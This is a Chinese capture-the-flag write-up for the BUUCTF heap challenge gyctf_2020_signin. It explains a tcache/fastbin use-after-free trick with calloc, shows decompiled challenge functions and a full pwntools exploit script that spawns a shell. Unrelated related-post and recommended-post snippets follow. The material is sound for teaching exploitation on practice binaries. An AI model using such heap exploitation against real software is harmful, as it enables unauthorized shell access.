Ubuntu18.04的题

用到了两个特性:

一个是 calloc 的特点:不会分配 tcache chunk 中的 chunk

另一个是 tcache 的特点:在分配 fastbin 中的 chunk 时,若还有其他相同大小的 fastbin_chunk 并且 tcache 还没满时,会将其全部放入 tcache 里。

menu:

 1 unsigned __int64 menu()
2 {
3 int choice; // eax
4 __int64 s[3]; // [rsp+0h] [rbp-20h] BYREF
5 unsigned __int64 v3; // [rsp+18h] [rbp-8h]
6
7 v3 = __readfsqword(0x28u);
8 printf("your choice?");
9 s[0] = 0LL;
10 s[1] = 0LL;
11 memset(s, 0, 0x10uLL);
12 read(0, s, 0xFuLL);
13 choice = atoi((const char *)s);
14 if ( choice == 2 )
15 {
16 edit();
17 }
18 else if ( choice > 2 )
19 {
20 if ( choice != 3 )
21 {
22 if ( choice == 6 )
23 backdoor();
24 goto LABEL_12;
25 }
26 del();
27 }
28 else
29 {
30 if ( choice != 1 )
31 {
32 LABEL_12:
33 puts("no such choice!");
34 return __readfsqword(0x28u) ^ v3;
35 }
36 add();
37 }
38 return __readfsqword(0x28u) ^ v3;
39 }

add:

unsigned __int64 add()
{
unsigned int v1; // [rsp+Ch] [rbp-24h]
__int64 s[3]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h] v3 = __readfsqword(0x28u);
puts("idx?");
s[0] = 0LL;
s[1] = 0LL;
memset(s, 0, 0x10uLL);
read(0, s, 0xFuLL);
v1 = atoi((const char *)s);
if ( addcnt >= 0 && v1 <= 0xF )
{
ptrlist[v1] = malloc(0x70uLL); //堆块大小固定fastbin
flags[v1] = 1;
--addcnt;
}
return __readfsqword(0x28u) ^ v3;
}

delete:

unsigned __int64 del()
{
unsigned int v1; // [rsp+Ch] [rbp-24h]
__int64 s[3]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h] v3 = __readfsqword(0x28u);
puts("idx?");
s[0] = 0LL;
s[1] = 0LL;
memset(s, 0, 0x10uLL);
read(0, s, 0xFuLL);
v1 = atoi((const char *)s);
if ( v1 <= 0xF && flags[v1] == 1 )
{
free((void *)ptrlist[v1]); //UAF
flags[v1] = 0;
}
return __readfsqword(0x28u) ^ v3;
}

edit:

unsigned __int64 edit()
{
int v1; // [rsp+Ch] [rbp-24h]
__int64 s[3]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h] v3 = __readfsqword(0x28u);
if ( cnt >= 0 )
{
puts("idx?");
s[0] = 0LL;
s[1] = 0LL;
memset(s, 0, 0x10uLL);
read(0, s, 0xFuLL);
v1 = atoi((const char *)s);
read(0, (void *)ptrlist[v1], 0x50uLL);
--cnt;
}
return __readfsqword(0x28u) ^ v3;
}

backdoor:

void __noreturn backdoor()
{
calloc(1uLL, 0x70uLL);
if ( ptr )
system("/bin/sh");
exit(0);
}

我们先连续申请8个,然后依次释放,会填满 tcache_chunk 并且还有一个被放到 fastbin 中。

然后我们申请一个回来,在 tcache 里预留一个空位给ptr

利用 UAF 修改 fastbin 的 fd 指针指向 prt-0x10,那么 calloc 时会从 fastbin 里分配一个堆,并且认为 prt-0x10,也是一个 chunk,会把它挂在 tcache 里 ,而 tcache 的 next 指向的是上一个 tcache 的 next 处(fastbin 的 fd 会指向上一个的 chunk 头处),使prt 非零,getshell。

exp:

 1 from pwn import *
2 context.arch='amd64'
3 context.log_level = 'debug'
4
5 #s=remote("node4.buuoj.cn",29764)
6 s=process('./1')
7
8 def add(idx):
9 s.sendlineafter(b'your choice?',b'1')
10 s.sendlineafter(b'idx?',str(idx))
11
12 def edit(idx,context):
13 s.sendlineafter(b'your choice?',b'2')
14 s.sendlineafter(b'idx?',str(idx))
15 s.send(context)
16
17 def delete(idx):
18 s.sendlineafter(b'your choice?',b'3')
19 s.sendlineafter(b'idx?',str(idx))
20
21 ptr=0x4040C0
22
23 for i in range(8):
24 add(i)
25
26 for i in range(8):
27 delete(i)
28
29 add(8)
30 edit(7,p64(ptr-0x10))
31 gdb.attach(s)
32 s.sendlineafter(b'your choice?',b'6')
33
34
35 s.interactive()

tcache BUUCTF gyctf_2020_signin的更多相关文章

  1. Buuctf刷题:部分

    get_started_3dsctf_2016 关键词:ROP链.栈溢出.mprotect()函数 可参考文章(优质): https://www.cnblogs.com/lyxf/p/12113401 ...

  2. Pwn Heap With Tcache

    Pwn Heap With Tcache 前言 glibc 2.26 开始引入了 tcache , 相关的 commit 可以看 这里 .加入 tcache 对性能有比较大的提升,不过由于 tcach ...

  3. 由一道CTF pwn题深入理解libc2.26中的tcache机制

    本文首发安全客:https://www.anquanke.com/post/id/104760 在刚结束的HITB-XCTF有一道pwn题gundam使用了2.26版本的libc.因为2.26版本中加 ...

  4. 刷题记录:[BUUCTF 2018]Online Tool

    目录 刷题记录:[BUUCTF 2018]Online Tool 一.知识点 1.escapeshellarg和escapeshellcmd使用不当导致rce 刷题记录:[BUUCTF 2018]On ...

  5. BUUCTF 部分wp

    目录 Buuctf crypto 0x01传感器 提示是曼联,猜测为曼彻斯特密码 wp:https://www.xmsec.cc/manchester-encode/ cipher: 55555555 ...

  6. buuctf misc 刷题记录

    1.金三胖 将gif分离出来. 2.N种方法解决 一个exe文件,果然打不开,在kali里分析一下:file KEY.exe,ascii text,先txt再说,base64 图片. 3.大白 crc ...

  7. BUUCTF知识记录

    [强网杯 2019]随便注 先尝试普通的注入 发现注入成功了,接下来走流程的时候碰到了问题 发现过滤了select和where这个两个最重要的查询语句,不过其他的过滤很奇怪,为什么要过滤update, ...

  8. buuctf misc wp 01

    buuctf misc wp 01 1.金三胖 2.二维码 3.N种方法解决 4.大白 5.基础破解 6.你竟然赶我走 1.金三胖 root@kali:~/下载/CTF题目# unzip 77edf3 ...

  9. buuctf misc wp 02

    buuctf misc wp 02 7.LSB 8.乌镇峰会种图 9.rar 10.qr 11.ningen 12.文件中的秘密 13.wireshark 14.镜子里面的世界 15.小明的保险箱 1 ...

随机推荐

  1. 关于浏览器,从输入URL到呈现页面过程!(主讲TCP/IP协议)

    一.文本对话--从请求到响应 我们在浏览器中输入一个 URL,回车之后便会在浏览器中观察到页面内容.实际上这个过程是: (1)浏览器向网站所在的服务器发送了一个 Request(请求) (2)网站服务 ...

  2. android studio 编译NDK android studio 生成.so文件

    详细配置使用请移步:https://www.jianshu.com/p/4c7d9a10933b android studio NDK 编译 第一步: app/build.gradle下面 添加代码: ...

  3. linux安装redis报错

    问题:You need tcl 8.5 or newer in order to run the Redis test 解决办法: wget http://downloads.sourceforge. ...

  4. ps精修

    1.磨皮方法: a,, 添加高斯模糊后,按住alt键新建图层蒙版,设置前景色为白色,用画笔在脸上雀斑的位置涂抹,注意脸轮廓位置不要涂抹.最后添加曲线提亮 b. 添加蒙尘和划痕后,后面上面的一样

  5. mysql触发器实例说明

    触发器是一类特殊的事务 ,可以监视某种数据操作(insert/update/delete),并触发相关操作(insert/update/delete). 看以下事件: 完成下单与减少库存的逻辑 Ins ...

  6. SpringBoot(1):初始SpringBoot

    一. SpringBoot 简介 1. SpringBoot介绍 Spring Boot是由Pivotal团队提供的全新框架,其设计目的是用来简化Spring应用的初始搭建以及开发过程.该框架使用了特 ...

  7. matplotlib画3d图

    import numpy as npimport matplotlib.pyplot as pltfrom mpl_toolkits.mplot3d import Axes3D fig = plt.f ...

  8. Mybatis-plus报Invalid bound statement (not found)错误

    错误信息 org.springframework.security.authentication.InternalAuthenticationServiceException: Invalid bou ...

  9. ciscn_2019_n_8 1

    拿到题目老样子先判断是多少位的程序 可以看到是32位的程序,然后再查看开启的保护 然后将程序放入ida进行汇编 先shift+f12查看程序是否有system和binsh 可以看到有system和bi ...

  10. LuoguB2028 反向输出一个三位数 题解

    Content 给定一个三位数,请反向输出它. 数据范围:数值在 \(100\) 到 \(999\) 之间. Solution 如果我们把它当做是一个字符串来读入的话,这道题目就很简单了.STL 当中 ...